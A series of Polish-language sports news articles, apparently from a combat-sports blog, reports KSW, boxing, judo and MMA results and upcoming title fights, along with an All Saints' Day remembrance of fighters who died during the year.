Efektownie zaprezentował się Tomasz Narkun, który obronił pas międzynarodowego mistrza KSW w wadze półciężkiej. Popularny "Żyrafa" zmierzył się z Ivanem Erslanem. Pierwsza runda spokojna, ale w drugiej po kombinacji Narkuna rywal wylądował na deskach. Mistrz wygrał przez duszenie zza pleców.

Udany debiut w KSW zaliczyła Justyna Haba. Na dystansie trzech rund 29-latka okazała się lepsza od Karoliny Owczarz, która poniosła pierwszą porażkę w organizacji. Pech Andrzeja Grzebyka. 29-letni zawodnik nie dotrwał do końca pierwszej rundy w starciu z Mariusem Zaromskisem. Grzebyk trafił do szpitala, podczas walki złamał nogę. Wygraną w debiucie w KSW zanotował Mateusz Legierski. Polak niejednogłośną decyzją sędziów pokonał Francisco Barrio.

Niektórzy nie zdążyli mrugnąć, a Filip Pejić zapisał na swoim koncie zwycięstwo w starciu z Sebastianem Rajewskim. Do wygranej potrzebował zaledwie 12 sekund! Sprawę załatwił potężny prawy, Rajewski nie był w stanie wstać. Efektowne zwycięstwo Roberta Ruchały, który przez balachę pokonał Michała Domina w pierwszej rundzie. Trzecią wygraną w KSW zanotował Daniel Torres. 26-latek pokonał niejednogłośną decyzją sędziów Maxa Coga.

Fot. Roberto Soldić Facebook

KM

Sobierajska mistrzynią Europy

Radość w Porecu. Katarzyna Sobierajska (70kg) wywalczyła złoty medal mistrzostw Europy juniorów.

Do Chorwacji pojechała szesnastoosobowa reprezentacja Polski. Łącznie na starcie pojawiło się ponad 350 judoczek i judoków. Rywalizacja juniorów rozpoczęła się 4 listopada, a zakończyć się 6 listopada. Drugiego dnia zmagań na najwyższym stopniu podium stanęła Katarzyna Sobierajska.

18-letnia zawodniczka AZS Uniwersytet Warszawski znakomicie rozpoczęła zmagania w Porecu. Szybko uporała się z Yelyzabetą Lytvynenko, błyskawicznie pokonała Christinę Stamouli. Potem Polce przyszło rywalizować z Francuzką Morgane Fereol. W ubiegłym roku 20-letnia Francuzka sięgnęła po brąz mistrzostw świata juniorów, ale w Porecu nie potrafiła przeciwstawić się Sobierajskiej. 18-letnia Polka wygrała przez ippon i awansowała do półfinału. Tam czekała na nią Shaked Amihai. Sobierajska wygrała czwartą walkę przed czasem i pozostała jej rywalizacja o złoto. Polka trafiła na Joanę Crisostomo z Portugalii. O triumfie Sobierajskiej zadecydowało waza-ari. Piąte zwycięstwo w turnieju i złoty medal stały się faktem.

Ogromny sukces 18-letniej Sobierajskiej, która rok temu sięgnęła w Warszawie po brązowy medal mistrzostw Europy kadetek. Teraz dołożyła kolejny krążek do swojej kolekcji, ale z najcenniejszego kruszcu. Kariera Sobierajskiej rozwija się i widać postępy. Z sukcesami występowała w kadetach, w juniorach potwierdziła swoje możliwości. Co istotne, zawodniczka jest w szerokiej kadrze na listopadowe mistrzostwa Europy seniorów w Pradze.

Podium było blisko

Blisko podium rywalizację w Porecu zakończyła Aleksandra Janeczko (52kg). Polka przed czasem pokonała Zelihę Cinci i Aelinę Mazitovą. Marsz Janeczko powstrzymała brązowa medalistka poprzedniego czempionatu Naomi van Krevel. Polce pozostała rywalizacja o brązowy medal. Janeczko trafiła na Sofię Asvestę, która w repasażach szybko uporała się z Martą Kuraś. Zawodniczka z Cypru miała tego dnia sposób na Polki. W niecałe półtorej minuty pokonała Janeczko i sięgnęła po brąz. Polka zakończyła zmagania na piątym miejscu.

Na siódmych pozycjach mistrzostwa Europy zakończyły Marta Kuraś (52kg) i Zuzanna Łogożna (57kg).

Fot. European Judo Union

KM

Rewanż dogadany

Adam Kownacki może szykować się do rewanżowego starcia z Robertem Heleniusem. Obozy pięściarzy doszły do porozumienia w kwestiach finansowych.

Po marcowej porażce z Heleniusem, "Babyface" przepraszał wszystkich za to, że zawiódł ich oczekiwania. Jednocześnie dziękował za wsparcie. W Adama Kownackiego wierzy wielu fanów polskiego boksu. Pięściarz dostarcza ogromnych emocji, jednak w marcu musiał uznać wyższość Heleniusa. Kownacki zaczął dobrze, ale rywal przetrwał jego napór i groźnie zaatakował. Polak znalazł się na deskach, ale sędzia nie uznał tego za nokdaun. Helenius ruszył, aby dokończyć dzieła i mógł wznieść ręce w geście triumfu. Należy przypomnieć, że Polak przegrał w czwartej rundzie. Po pojedynku nie ukrywał swojego kolejnego celu. – Optymistycznie dostaniemy rewanż i naprawię swoje błędy – napisał w mediach społecznościowych.

Adam Kownacki może szykować się do kolejnego starcia z Heleniusem. Warunki zostały ustalone, o czym poinformował Keith Idec z boxingscene.com. – Adam Kownacki będzie miał szansę zrewanżować się za jedyną porażkę z Robertem Heleniusem. Data nie jest jeszcze ustalona, ale osiągnięto porozumienie w kwestii zasad kolejnego starcia – podał.

Nie da się ukryć, że w tym przypadku sprawa rewanżu wydawała się czymś naturalnym. Kownacki chce wygrać z Heleniusem i nadal znajdować się w czołówce wagi ciężkiej. „Babyface” znakomicie radził sobie w kategorii królewskiej, co sprawiło, że był wymieniany wśród kandydatów do walki o pas. Można powiedzieć, że na ostatniej prostej zaliczył wpadkę bądź najzwyczajniej w świecie – potknął się. Takie sytuacje się zdarzają. Trzeba jednak oddać, że Helenius to mocny i doświadczony obecnie to nierealne. Prawdopodobny termin starcia Kownackiego z Heleniusem to początek przyszłego roku. Walka miałaby się odbyć w Stanach Zjednoczonych.

Dla Kownackiego będzie to 22 starcie w karierze. 31-latek wygrał 20 pojedynków, w tym 15 przed czasem. 36-letni Helenius ma za sobą 33 pojedynki, z których 30 zakończyło się jego sukcesem. Pogromcami fińskiego boksera byli: Johann Duhaupas, Dillian Whyte i Gerald Washington.

Fot. Adam Kownacki Instagram

KM

12 grudnia Głowacki powalczy o pas

12 grudnia w Londynie Krzysztof Głowacki będzie rywalizował o wakujący tytuł mistrza świata WBO wagi junior ciężkiej. Jego rywalem będzie Lawrence Okolie.

W końcu potwierdziło się to, o czym mówiło się od dłuższego czasu. Rozmowy dotyczące pojedynku Głowackiego z Okolie trwały kilka miesięcy. Rzecz jasna, że w związku z pandemią koronawirusa trudno było uznać cokolwiek za pewnik. Pierwotnie mówiło się o 23 maja. Z powodu koronawirusa do pojedynku nie doszło. Później mówiło się, że starcie może odbyć się latem. w końcu pojawił się termin grudniowy – 5 bądź 12 grudnia. Obozy Głowackiego i Okolie doszły do porozumienia, ustalono warunki finansowe, podpisano kontrakty. Starcie odbędzie się 12 grudnia.

Stawką walki Polaka z Brytyjczykiem będzie wakujący pas WBO. Do jesieni 2019 roku tytuł należał do Mairisa Briedisa. Łotysz stracił pas, ponieważ nie chciał przystąpić do rewanżowego starcia z Głowackim. Było to pokłosie gali w Rydze, gdzie Briedis pokonał Głowackiego, ale trafił go łokciem i uderzył po gongu. Łotysz miał spotkać się ponownie z Polakiem, jednak chciał stoczyć bój w finale World Boxing Super Series z Yunierem Dorticosem. W związku z tym musiał oddać pas WBO.

Głowacki i Okolice są najwyżej notowani w rankingu organizacji, więc to oni zawalczą o mistrzostwo świata. Dla Polaka będzie to kolejna szansa na sięgnięcie po pas, Okolie otrzymał pierwszą taką okazję. 34-letni „Główka” ostatni raz rywalizował w czerwcu 2019 roku, kiedy to przegrał ze wspomnianym Briedisem. Wcześniej zanotował pięć zwycięstw z rzędu. 27-letni Okolie jeszcze nigdy nie przegrał. Ma na swoim koncie 14 zwycięstw, w tym 11 przed czasem.

Na nowego mistrza świata czeka Dilan Prasović. 25-letni Czarnogórzec jest pretendentem do pasa WBO. Nowy czempion będzie musiał się z nim spotkać w ciągu 120 dni.

Podczas grudniowej gali dojdzie do pojedynku mistrzowskiego w wadze ciężkiej pomiędzy Anthonym Joshuą, a Kubratem Pulewem.

Fot. Krzysztof Głowacki Facebook

KM

Brodnicka bez pasa

Jeszcze nie weszła do ringu, a straciła pas. Ewa Brodnicka nie zmieściła się w limicie wagi super piórkowej przed pojedynkiem z Mikaelą Mayer. Tym samym tytuł WBO należący do Polki stał się wakujący.

Brodnicka szykowała się do występu w MGM Grand w Las Vegas. Dla 36-letniej Brodnickiej miała to być kolejna obrona pasa WBO, a także pierwszy występ w Stanach Zjednoczonych. Rywalizacja z Mikaelą Mayer rysowała się jako ogromne wyzwanie. Wielu ekspertów w Amerykance upatruje faworytki starcia. 30-letni Mayer wygrała trzynaście pojedynków w karierze, w tym pięć przed czasem.

Brodnicka powalczy o kolejne zwycięstwo w karierze, zaś Amerykanka o pas mistrzowski. Jeśli Mayer wygra – zostanie mistrzynią. W przypadku triumfu Brodnickiej pas będzie zwakowany.  Wszystko przez… wagę. Ewa Brodnicka nie zmieściła się w limicie kategorii super piórkowej. Podczas pierwszej próby przekroczyła wymagany próg o 0,9 funta. Polka dostała dodatkową godzinę, ale przy drugim podejściu również nie spełniała założeń. Polka ważyła 130,1 funta, a limit w walce mistrzowskiej wynosi 130 funtów. Przeliczając na kilogramy, do normy Brodnickiej zabrakło około 0,05 kg.

36-letnia "Kleo" straciła pas, ale czeka ją walka. Teraz celem jest rywalizacja sportowa. – Co się wydarzyło na ważeniu to już przeszłość. Później opowiem szczegóły tego zajścia. Pas jest wakujący. Pas nie czyni ze mnie lepszej pięściarki, ani człowieka. W sercu nadal czuję się mistrzynią i mam taką samą motywację, żeby wygrać.  Dzisiaj pełne skupienie na walce. Dziękuję za liczne wiadomości, czuję Wasze wsparcie. Trzymajcie kciuki kochani – napisała Brodnicka w mediach społecznościowych.

Ewa Brodnicka pięciokrotnie skutecznie broniła pasa WBO. Ostatnio, w marcu w Dzierżoniowie, pokonała Djemillę Gontaruk. Warto wspomnieć, że w maju 2017 roku Polka sięgnęła po tymczasowy tytuł wygrywając z Irmą Balijagić Adler. Brodnicka o pas miała walczyć z Ramoną Kuehne, jednak ta nie podpisała kontraktu i zrezygnowałą z walki. Pas trafił więc do Brodnickiej.

Fot. Ewa Brodnicka Facebook

KM

Pamiętamy, o tych, których z nami nie ma

Dzień Wszystkich Świętych to okazja do zadumy i refleksji nad mijającym czasem. Wspominamy tych, których z nami już nie ma. W ciągu ostatnich dwunastu miesięcy pożegnaliśmy wiele osób związanych ze sportami walki.

"Nie umiera ten, kto trwa w pamięci żywych" (ks. Jan Twardowski). 1 listopada to symboliczny dzień w naszej kulturze, tradycji. Zastanawiamy się nad sensem życia, przemijaniem i wartościami. Pochylamy się nad grobami naszych bliskich zmarłych. W tym roku ten czas wygląda nieco inaczej ze względu na obostrzenia. Mimo to okres Wszystkich Świętych to czas wspomnień tych, których z nami nie ma. Cenimy ich, pozostawili po sobie ogromny dorobek i są wzorami do naśladowania. W świecie sportów walki pożegnaliśmy wiele wybitnych postaci, minął kolejny rok, gdy ich z nami nie ma…

W 2020 roku zmarł Jean-Baptiste Mendy. Utytułowany bokser miał zaledwie 57 lat, a przyczyną śmierci była choroba nowotworowa. Francuz miał na koncie mistrzostwo świata w wadze lekkiej organizacji WBA i WBC. W wieku zaledwie 49 lat zmarł wielokrotny medalista Polski w boksie Piotr Jurczyk. W marcu na koronawirusa zmarł Angelo Rottoli. Były mistrz w wagi junior ciężkiej przeżył 61 lat.

9 września zmarł Alan Minter. W latach 70. i 80. był czołowym brytyjskim pięściarzem, który na swoim koncie zapisał niekwestionowany tytuł wagi średniej. Minter zmarł w wieku 69 lat. W listopadzie 2019 roku odszedł Dwight Ritchie. Australijski pięściarz podczas sparingu otrzymał cios, po którym się nie podniósł. Ritchie miał 27 lat. W sierpniu odszedł Alessandro Mazzinghi, który na swoim koncie zapisał zawodowe mistrzostwo kategorii lekkośredniej. Tytuł zdobył w 1963 roku. Na koncie miał również pas mistrza Europy. Mazzinghi zmarł w wieku 81 lat. W kwietniu 2020 roku pożegnaliśmy dziennikarza sportowego Lucjana Olszewskiego. Miał 84 lata.

Sięgnął po pas w wadze półśredniej Contenders. Mógł stoczyć jeszcze wiele wspaniałych walk, jednak nie ma go już wśród nas. W lipcu w wieku zaledwie 30 lat odszedł Jahreau Shepherd. Ogromny szok w świecie MMA wywołała śmierć Abdulmanapa Nurmagomedova. Ojciec Khabiba zmarł w wieku 57 lat, a przyczyną zgony były powikłania po zakażeniu koronawirusem. W wieku 30 lat zginął Isaiah Chapman. Zawodnik MMA został zastrzelony w Stanach Zjednoczonych. 

Szerokim echem odbiła się sprawa egezkucji irańskiego zapaśnika Navida Afkariego. Wiele osób i organizacji apelowało do władz Iranu, jednak te były bezwzględne. 27-letni Afkari został skazany na śmierć w wyniku oskarżeń o zabójstwo podczas antyrządowych protestów w 2018 roku. W wieku 29 lat zmarł polski zapaśnik Dominik Sikora, który trafił do szpitala w wyniku ciężkiego pobicia.

W wieku 87 lat odszedł zawodnik i trener judo Ryszard Zieniawa. Na swoim koncie zapisał jedenaście złotych medali mistrzostw Polski. Był szkoleniowcem kadry, a jego podopieczni wywalczyli medale na igrzyskach w Seulu – złoto Waldemar Legień i srebro Janusz Pawłowski. We śnie odeszła mistrzyni Europy w judo z 2003 roku Katrin Beinroth. Niemka miała zaledwie 38 lat.

W naszych sercach pozostają wspaniali i utytułowani sportowcy: Józef Warchoł, Jerzy Kulej, Zbigniew Pietrzykowski, Józef Wiśniewski, Joe Frazier, Muhammad Ali, Tomasz Skrzypek, Andrzej Gmitruk, Lucjan Trela, Mieczysław Tracz, Józef Grudzień, Anton Geesink.

KM

Ozdoba-Błach na 7. miejscu

Polscy judocy mają za sobą start w Grand Slam w Budapeszcie. Najlepiej zaprezentowała się Agata Ozdoba-Błach (63kg), która zajęła siódmą lokatę.

Budapeszt to piękne miasto, które wśród turystów budzi zachwyt. Zamek Króleski, baszta rybacka, ogromny budynek parlamentu – to tylko kilka zabytków wartych uwagi. Z pewnością wizyta w stolicy Węgier gwarantuje ciekawe doświadczenia. Budapeszt miło wspomina Agata Ozdoba-Błach. Trzy lata temu nasza judoczka sięgnęła na Węgrzech po brązowy medal mistrzostw świata. Dwa lata temu zajęła trzecie miejsce w zawodach Grand Prix. W 2014 roku Polka uplasowała się na piątej pozycji.

W minionym tygodniu Ozdoba-Błach po raz kolejny udała się do Budapesztu. Zawody Grand Prix judoczka ukończyła na siódmej pozycji. Ozdoba-Błach pokonała Amerykankę Alishę Galles, ale przegrała z Catherine Beauchemin-Pinard. Pozostała jej rywalizacja w repasażach, ale tam lepiej zaprezentowała się Ketleyn Quadros. – Nie jest to szczyt moich marzeń, ale ten start dał mi kolejne 260 punktów do rankingu olimpijskiego. Po rewanżu na Amerykance przegrałam walkę z Kanadyjką. Niestety w toku zawodów coraz bardziej odczuwałam intensywny ból szyi i do trzeciej walki przeciwko reprezentantce Brazylii nie byłam już w stanie wyjść w pełni zdrowia. Walczyłam bardziej z bólem niż z zawodniczką – komentuje brązowa medalistka mistrzostw świata z 2017 roku. – Teraz czeka mnie krótki okres regeneracji i przygotowanie do kolejnych startów – dodaje.

Występy pozostałych

Angelika Szymańska (63kg) pokonała ekspresowo Adelinę Stefanię Dobre, ale w kolejnym starciu przegrała z utytułowaną Tiną Trstenjak. Po jednej walce wygrały Anna Załęczna (+78kg) oraz Katarzyna Sobierajska (70kg), które potem trafiły na wysoko sklasyfikowane w światowym rankingu rywalki – odpowiednio Beatriz Souzę i Michaela Polleres. Damian Szwarnowiecki (81kg) zwyciężył z Sveinbjornem Iurą, ale w kolejnym starciu uległ Portugalczykowi Joao Martinho. Bez wygranej turniej w Budapeszcie zakończyli Paulina Dziopa (78kg) i Piotr Kuczera (90kg).

Fot. Agata Ozdoba-Błach Facebook

KM

Córka poszła śladami ojca

Bella Mir, córka utytułowanego Franka Mira, ma za sobą debiut w MMA. 17-letnia zawodniczka wygrała pojedynek decyzją sędziów.

Słysząc nazwisko Mir od razu myślimy o Franku, który zapisał na swoim koncie mistrzostwo UFC w wadze ciężkiej. Dla niektórych będą to odległe czasy, bo Amerykanin sięgnął po tytuł w 2004 roku. Mir pokonal Tima Sylvę, którego poddał balachą. Potem na swoim koncie zapisał pas tymczasowy zwyciężając Antonio Rodrigo Nogueierę. Tytułu jednak nie zdobył, bo lepszy okazał się od niego Brock Lesnar, którego rok wcześniej Mir pokonał. Amerykanin był związany z UFC przez 15 lat! Stoczył wiele efektownych pojedynków, wygrywał przed czasem i zapisał się na kartach historii organizacji. Potem rywalizował w Bellatorze, gdzie ostatnią walkę stoczył w październiku 2019 roku. Na dystansie trzech rund Mir pokonał Roya Nelsona. 41-latek nie zamierza rezygnować z rywalizacji. Kilka tygodni temu pojawiła się informacja, że Mir podpisał kontrakt z organizacją Bare Knuckle Fighting Championship i będzie walczył na gołe pięści.

Frank zainspirował swoją córkę Bellę, która postanowiła pójść jego drogą. Z pewnością serce ojca biło zdecydowanie szybciej w ostatnich dniach, gdy wielkimi krokami zbliżał się debiut 17-latki w MMA. Mir stanął w narożniku córki na gali iKON 2 w Sanorze w Meksyku, podczas której młoda zawodniczka zmierzyła się z Danielle Wynn. Rywalka również debiutowała w MMA, ale była zdecydowanie starsza niż Bella. Rywalki dzieliła różnica 16 lat!

Różnica wieku nie miała jednak znaczenia. Bella Mir chciała zaprezentować się z jak najlepszej strony i od początku zdecydowanie ruszyła na Wynn. Zyskała dobre geny i chciała to potwierdzić. Bella Mir zbudowała przewagę, kontrolowała przebieg pojedynku. Dwie pierwsze rundy zdecydowanie na korzyść 17-latki, ale w trzeciej zaczęło ubywać jej sił. Wynn miała więcej okazji, aby zaprezentować swoje umiejętności, ale na przestrzeni całego starcia lepiej wypadła Bella. Sędziowie byli jednomyślni i wskazali na jej zwycięstwo – 29:28. – 1-0 i do następnego – napisała Bella w mediach społecznościowych. Czekamy na kolejny pojedynek Mir junior i rozwój jej kariery.

Fot. Bella Mir Facebook

KM

Omielańczuk idzie po pas

26 listopada Daniel Omielańczuk stanie przed szansą zdobycia pasa mistrzowskiego ACA w wadze ciężkiej. Aby po niego sięgnąć, musi pokonać Tony'ego Johnsona Jr.

38-letni polski fighter jest w gazie. Omielańczuk znakomicie radzi sobie w organizacji ACA, czego najlepszym dowodem są cztery wygrane pojedynki z rzędu, w tym trzy przed czasem. Ostatnio, w sierpniu w Łodzi, 38-latek wypunktował Tomasa Pakutinskasa. Dotychczas w rosyjskiej organizacji Polak przegrał tylko raz. We wrześniu 2018 roku Omielańczuk musiał uznać wyższość Amira Aliego Akbariego.

Dobra postawa Omielańczuka utorowała mu drogę do starcia o mistrzowski pas. O tym, że Polak ma szansę stanąć do walki o tytuł mówiło się od dłuższego czasu. W końcu nadszedł ten moment. Omielańczuk podczas gali ACA 114 w Łodzi stanie do rywalizacji o pas. Mukhumat Vakhaev podjął decyzję o zwakowaniu tytułu, a więc rywalem polskiego zawodnika będzie Tony Johnson. 34-letni Amerykanin ma za sobą trzy pojedynki w ACA, z czego aż dwa stoczył w Polsce. W debiucie, który miał miejsce w Warszawie efektownie pokonał Denisa Smoldareva. Podczas ACA 96 w Łodzi Johnson stanął przed szansę zdobycia pasa mistrzowskiego. "Hulk" zmierzył się z Evgenijem Goncharovem, jednak pojedynek został uznany za no contest. Johnson został trafiony palcem w oko. W rewanżu lepszy okazał się Goncharov.

Zdecydowanie większym doświadczeniem może pochwalić się Omielańczuk, który stoczył w MMA 33 pojedynki. Polak wygrał 24, w tym 16 przed czasem. Omielańczuk ma również za sobą występy w UFC, gdzie pokonał m.in. Jarjisa Danho oraz Alexeja Olejnika. Johnson łącznie stoczył 18 walk, z których 13 wygrał. Amerykanin rywalizował m.in w One FC czy Bellatorze.

26 listopada w Łodzi Omielańczuk stanie przed szansą zdobycia mistrzowskiego pasa wagi ciężkiej. Może być pierwszym Polakiem, który zdobędzie tytuł w ACA. Omielańczuk jest rozpędzony, ale rywal z pewnością nie ułatwi mu zadania. Podczas gali w Łodzi odbędzie się 13 pojedynków z udziałem 10 Polaków.

Fot. Daniel Omielańczuk Facebook

KM

Lopez na ustach wszystkich

23-letni Teofimo Lopez znalazł się na ustach wszystkich po pokonaniu Wasyla Łomaczenki. Amerykanin został mistrzem świata wagi lekkiej. Zaczęła się nowa era.

Mistrz to ktoś, kto uchodzi za najlepszego w danej dziedzinie. Wzór profesjonalizmu, pracy, skuteczności i umiejętności. Przez lata Wasyl Łomaczenko budował swoją pozycję w boksie zawodowym. W maju 2018 roku w Madison Square Garden zdobył pas mistrza świata WBA wagi lekkiej. Wcześniej świetnie radził sobie w kategorii super piórkowej (tytuł WBO). Z czasem do swojego dorobku ukraiński pięściarz dokładał kolejne pasy – WBO i WBC. Stał się jedną z najjaśniejszych postaci boksu, przez wielu uznawany był za najlepszego pięściarza bez podziału na kategorie wagowe.

Przyszedł 17 października 2020 roku. MGM Grand w Las Vegas, na szali pasy WBC, WBA oraz WBO, IBF, naprzeciw siebie Wasyl Łomaczenko i Teofimo Lopez. Pojedynek zaczął się spokojnie, jednak z czasem aktywnością i agresją imponował Amerykanin, który na swoim koncie miał tytuł IBF. Lopez rozkręcał się, co przekładało się na ocenę jego poczynań. Łomaczenko przebudził się w  ósmej rundzie. Lopez wytrzymał ataki rywala i sam kontrował. Ukrainiec musiał mieć się cały czas na baczności, Amerykanin wytrzymał do samego końca. Sędziowie byli jednomyślni i wskazali na 23-latka – 116:112, 119:109, 117:111.

Stało się, wielka niespodzianka. 23-letni Lopez ma całą karierę przed sobą, a już stał się niekwestionowanym mistrzem wagi lekkiej. Amerykanin pokonał dziewięć lat starszego Łomaczenkę i znalazł się na szczycie. Lopez zanotował szesnastą wygraną w karierze i nadal pozostaje niepokonany. Co interesujące, Amerykanin stał się najmłodszym posiadaczem czterech tytułów mistrzowskich. Łomaczenko przegrał drugi raz na zawodowym ringu, a trzeci podczas przygody z boksem.

Teofimo Lopez znalazł się na ustach wszystkich. Przeżywa wielkie chwile, zdetronizował czołowego pięściarza świata. Amerykanin nadal jest młody, ma umiejętności, ale podstawowe pytanie brzmi – jak poradzi sobie z ciężarem sukcesu. Zrobił wiele, ale najtrudniejsze przed nim.

Fot. zdjęcie poglądowe

KM